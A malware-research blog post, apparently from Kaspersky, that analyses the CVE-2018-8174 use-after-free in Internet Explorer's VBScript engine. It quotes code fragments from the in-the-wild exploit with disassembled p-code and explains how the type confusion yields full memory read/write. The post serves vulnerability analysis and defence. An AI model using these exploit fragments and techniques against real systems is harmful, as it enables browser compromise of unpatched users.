Delving deep into VBScript

In late April we found and wrote a description of CVE-2018-8174, a new zero-day vulnerability for Internet Explorer that was picked up by our sandbox. The vulnerability uses a well-known technique from the proof-of-concept exploit CVE-2014-6332 that essentially “corrupts” two memory objects and changes the type of one object to Array (for read/write access to the address space) and the other object to Integer to fetch the address of an arbitrary object.

But whereas CVE-2014-6332 was aimed at integer overflow exploitation for writing to arbitrary memory locations, my interest lay in how this technique was adapted to exploit the use-after-free vulnerability. To answer this question, let’s consider the internal structure of the VBScript interpreter.

Undocumented platform

Debugging a VBScript executable is a tedious task. Before the script is executed, it is compiled into p-code, which is then interpreted by the virtual machine. There is no open source information about the internal structure of this virtual machine and its instructions. It took me a lot of effort to track down a couple of web pages with Microsoft engineer reports dated 1999 and 2004 that shed some light on the p-code. There was enough information there for me to fully reverse-engineer all the VM instructions and write a disassembler! The final scripts for disassembling VBScript p-code in the memory of the IDA Pro and WinDBG debuggers are available in our Github repository.

With an understanding of the interpreted code, we can precisely monitor the execution of the script: we have full information about where the code is being executed at any given moment, and we can observe all objects that are created and referenced by the script. All this greatly assists in the analysis.

The best place to run the disassembling script is the CScriptRuntime::RunNoEH function, which directly interprets the p-code.

Important fields in the CScriptRuntime class

The CScriptRuntime class contains all information about the state of the interpreter: local variables, function arguments, pointers to the top of the stack and the current instruction, plus the address of the compiled script.

The VBScript virtual machine is stack-oriented and consists of slightly more than 100 instructions.

All variables (local arguments and ones on the stack) are represented as a VARIANT structure occupying 16 bytes, where the upper word indicates the data type. Some of the type values are given on the relevant MSDN page.

CVE-2018-8174 exploitation

Below is the code and disassembled p-code of class ‘Class1’:

Class Class1
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value
	SetProp=0
End Function
End Class
Function 34 ('Class1') [max stack = 1]:
        arg count = 0
        lcl count = 0
    Pcode:
        0000    OP_CreateClass       
        0005    OP_FnBindEx      'p' 35 FALSE
        000F    OP_FnBindEx      'SetProp' 36 FALSE
        0019    OP_CreateVar     'mem' FALSE
        001F    OP_LocalSet      0
        0022    OP_FnReturn     
    Function 35 ('p') [max stack = 0]:
        arg count = 0
        lcl count = 0
    Pcode:
        ***BOS(8252,8264)*** End Function *****
        0000    OP_Bos1          0
        0002    OP_FnReturn     
        0003    OP_Bos0         
        0004    OP_FuncEnd    
    Function 36 ('SetProp') [max stack = 1]:
        arg count = 1
            arg  -1 = ref Variant    'value'
        lcl count = 0
    Pcode:
        ***BOS(8292,8301)*** mem=Value *****
        0000    OP_Bos1          0
        0002    OP_LocalAdr      -1
        0005    OP_NamedSt       'mem'
        ***BOS(8304,8315)*** SetProp=(0) *****
        000A    OP_Bos1          1
        000C    OP_IntConst      0
        000E    OP_LocalSt       0
        ***BOS(8317,8329)*** End Function *****
        0011    OP_Bos1          2
        0013    OP_FnReturn     
        0014    OP_Bos0         
        0015    OP_FuncEnd

Function 34 is a constructor of class ‘Class1’.

The OP_CreateClass instruction calls the VBScriptClass::Create function to create a VBScriptClass object.

The OP_FnBindEx and OP_CreateVar instructions try to fetch the variables passed in the arguments, and since they do not yet exist, they are created by the VBScriptClass::CreateVar function.

This diagram shows how variables can be fetched from a VBScriptClass object. The value of the variable is stored in the VVAL structure:

To understand the exploitation, it is important to know how variables are represented in the VBScriptClass structure.

When the OP_NamedSt ‘mem’ instruction is executed in function 36 (‘SetProp’), it calls the Default Property Getter of the instance of the class that was previously stacked and then stores the returned value in the variable ‘mem’.

***BOS(8292,8301)*** mem=Value *****
0000OP_Bos1 0
0002OP_LocalAdr -1 <——– put argument on stack
0005OP_NamedSt ‘mem’ <——– if it's a class dispatcher with Default Property Getter, call and store returned value in mem

Below is the code and disassembled p-code of function 30 (p), which is called during execution of the OP_NamedSt instruction:

Class lllIIl
Public Default Property Get P
Dim llII
P=CDbl("174088534690791e-324")
For IIIl=0 To 6
	IIIlI(IIIl)=0
Next
Set llII=New Class2
llII.mem=lIlIIl
For IIIl=0 To 6
	Set IIIlI(IIIl)=llII
Next
End Property
End Class
Function 30 ('p') [max stack = 3]:
        arg count = 0
        lcl count = 1
            lcl   1 =     Variant    'llII'
        tmp count = 4
    Pcode:
        ***BOS(8626,8656)*** P=CDbl("174088534690791e-324") *****
        0000    OP_Bos1          0
        0002    OP_StrConst      '174088534690791e-324'
        0007    OP_CallNmdAdr    'CDbl' 1
        000E    OP_LocalSt       0
        ***BOS(8763,8782)*** For IIIl=(0) To (6) *****
        0011    OP_Bos1          1
        0013    OP_IntConst      0
        0015    OP_IntConst      6
        0017    OP_IntConst      1
        0019    OP_ForInitNamed  'IIIl' 5 4
        0022    OP_JccFalse      0047
        ***BOS(8809,8824)*** IIIlI(IIIl)=(0) *****
        0027    OP_Bos1          2
        0029    OP_IntConst      0
        002B    OP_NamedAdr      'IIIl'
        0030    OP_CallNmdSt     'IIIlI' 1
        ***BOS(8826,8830)*** Next *****
        0037    OP_Bos1          3
        0039    OP_ForNextNamed  'IIIl' 5 4
        0042    OP_JccTrue       0027
        ***BOS(8855,8874)*** Set llII=New Class2 *****
        0047    OP_Bos1          4
        0049    OP_InitClass     'Class2'
        004E    OP_LocalSet      1
        ***BOS(8876,8891)*** llII.mem=lIlIIl *****
        0051    OP_Bos1          5
        0053    OP_NamedAdr      'lIlIIl'
        0058    OP_LocalAdr      1
        005B    OP_MemSt         'mem'
        ….

The first basic block of this function is:

***BOS(8626,8656)*** P=CDbl(“174088534690791e-324”) *****
0000OP_Bos1 0
0002OP_StrConst ‘174088534690791e-324’
0007OP_CallNmdAdr’CDbl’ 1
000EOP_LocalSt 0

This block converts the string ‘174088534690791e-324’ to VARIANT and stores it in the local variable 0, reserved for the return value of the function.

VARIANT obtained after converting ‘174088534690791e-324’ to double

After the return value is set but before it is returned, this function performs:

For IIIl=0 To 6
IIIlI(IIIl)=0
Next

This calls the garbage collector for the ‘Class1’ instance and results in a dangling pointer reference due to the use-after-free vulnerability in Class_Terminate() that we discussed earlier.

In the line

***BOS(8855,8874)*** Set llII=New Class2 *****
0047OP_Bos1 4
0049OP_InitClass ‘Class2’
004EOP_LocalSet 1

the OP_InitClass ‘Class2’ instruction creates an “evil twin” instance of class ‘Class1’ at the location of the previously freed VBScriptClass, which is still referenced by the OP_NamedSt ‘mem’ instruction in function 36 (‘SetProp’).

Class ‘Class2’ is the “evil twin” of class ‘Class1’:

Class Class2
Dim mem
Function P0123456789
	P0123456789=LenB(mem(IlII+(8)))
End Function
Function SPP
End Function
End Class
Function 31 ('Class2') [max stack = 1]:
        arg count = 0
        lcl count = 0
    Pcode:
        0000    OP_CreateClass   'Class2'
        0005    OP_FnBindEx      'P0123456789' 32 FALSE
        000F    OP_FnBindEx      'SPP' 33 FALSE
        0019    OP_CreateVar     'mem' FALSE
        001F    OP_LocalSet      0
        0022    OP_FnReturn     
    Function 32 ('P0123456789') [max stack = 2]:
        arg count = 0
        lcl count = 0
    Pcode:
        ***BOS(8390,8421)*** P0123456789=LenB(mem(IlII+(8))) *****
        0000    OP_Bos1          0
        0002    OP_NamedAdr      'IlII'
        0007    OP_IntConst      8
        0009    OP_Add          
        000A    OP_CallNmdAdr    'mem' 1
        0011    OP_CallNmdAdr    'LenB' 1
        0018    OP_LocalSt       0
        ***BOS(8423,8435)*** End Function *****
        001B    OP_Bos1          1
        001D    OP_FnReturn     
        001E    OP_Bos0         
        001F    OP_FuncEnd      
    Function 33 ('SPP') [max stack = 0]:
        arg count = 0
        lcl count = 0
    Pcode:
        ***BOS(8451,8463)*** End Function *****
        0000    OP_Bos1          0
        0002    OP_FnReturn     
        0003    OP_Bos0         
        0004    OP_FuncEnd

The location of variables in memory is predictable. The amount of data occupied by the VVAL structure is calculated using the formula 0x32 + the length of the variable name in UTF-16.

Below is a diagram that shows the location of ‘Class1’ variables relative to ‘Class2’ variables when ‘Class2’ is allocated in place of ‘Class1’.

When execution of the OP_NamedSt ‘mem’ instruction in function 36 (‘SetProp’) is complete, the value returned by function 30 (‘p’) is written to memory through the dangling pointer of VVAL ‘mem’ in Class1, overwriting the VARIANT type of VVAL ‘mem’ in Class2.

VARIANT of type Double overwrites the VARIANT type from String to Array

Thus, an object of type String is converted to an object of type Array, and data that was previously considered to be a string is treated as an Array control structure, allowing access to be gained to the entire address space of the process.

Conclusion

Our scripts for disassembling VBScript compiled into p-code enable VBScript debugging at the bytecode level, which helps to analyze exploits and understand how VBScript operates. They are available in our Github repository

The case of CVE-2018-8174 demonstrates that when memory allocations are highly predictable, use-after-free vulnerabilities are easy to exploit. The in-the-wild exploit targets older versions of Windows. The location of objects in memory required for its exploitation is most likely to occur in Windows 7 and Windows 8.1.

Automatic Exploit Protection (AEP), part of Kaspersky Lab products, blocks all stages of the exploit with the following verdicts:

  • HEUR:Exploit.MSOffice.Generic
  • HEUR:Exploit.Script.CVE-2018-8174.a
  • HEUR:Exploit.Script.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

Read more: Delving deep into VBScript

Incoming search terms

Story added 3. July 2018, content source with full text you can find at link above.